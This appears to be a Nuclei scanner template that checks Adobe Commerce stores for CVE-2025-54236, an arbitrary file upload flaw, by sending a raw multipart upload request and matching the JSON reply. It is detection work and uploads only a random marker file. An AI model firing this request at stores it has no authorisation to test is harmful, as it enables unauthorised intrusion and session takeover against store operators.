id: CVE-2025-54236 info: name: "Adobe Commerce - Arbitrary File Upload" author: vedas-arpsyndicate severity: critical description: | Adobe Commerce versions 2.4.9-alpha2, 2.4.8-p2, 2.4.7-p7, 2.4.6-p12, 2.4.5-p14, 2.4.4-p15 and earlier are affected by an Improper Input Validation vulnerability. A successful attacker can abuse this to achieve session takeover, increasing the confidentiality, and integrity impact to high. reference: - https://www.exploit.observer/?keyword=CVE-2025-54236&match=exact - https://subdomain.center/?engine=ammonites&keyword=adobecommerce&match=exact classification: cve-id: CVE-2025-54236 metadata: verified: false tags: cve,cve2025,adobecommerce,file-upload,intrusive,auth-bypass,kev,vkev,vuln variables: form_key: "{{rand_text_alphanumeric(16)}}" filename: "{{to_lower(rand_text_alpha(5))}}" marker: "{{randstr}}" base64: "{{base64(filename)}}" http: - raw: - | POST /customer/address_file/upload HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDNFoGI9h3cNjiBCQ Cookie: form_key={{form_key}} ------WebKitFormBoundaryDNFoGI9h3cNjiBCQ Content-Disposition: form-data; name="form_key" {{form_key}} ------WebKitFormBoundaryDNFoGI9h3cNjiBCQ Content-Disposition: form-data; name="custom_attributes[country_id]"; filename="{{filename}}" Content-Type: text/plain {{marker}} ------WebKitFormBoundaryDNFoGI9h3cNjiBCQ-- { "name": "{{filename}}", "full_path": "{{filename}}", "type": "text/plain", "tmp_name": "{{filename}}", "error": 0, "size": 11, "file": "/t/e/{{filename}}", "url": "{{RootURL}}/customer/address/viewfile/file/{{base64}}~~/" } matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "application/json")' - 'contains_any(body, "full_path","tmp_name","size","{{base64}}" )' condition: and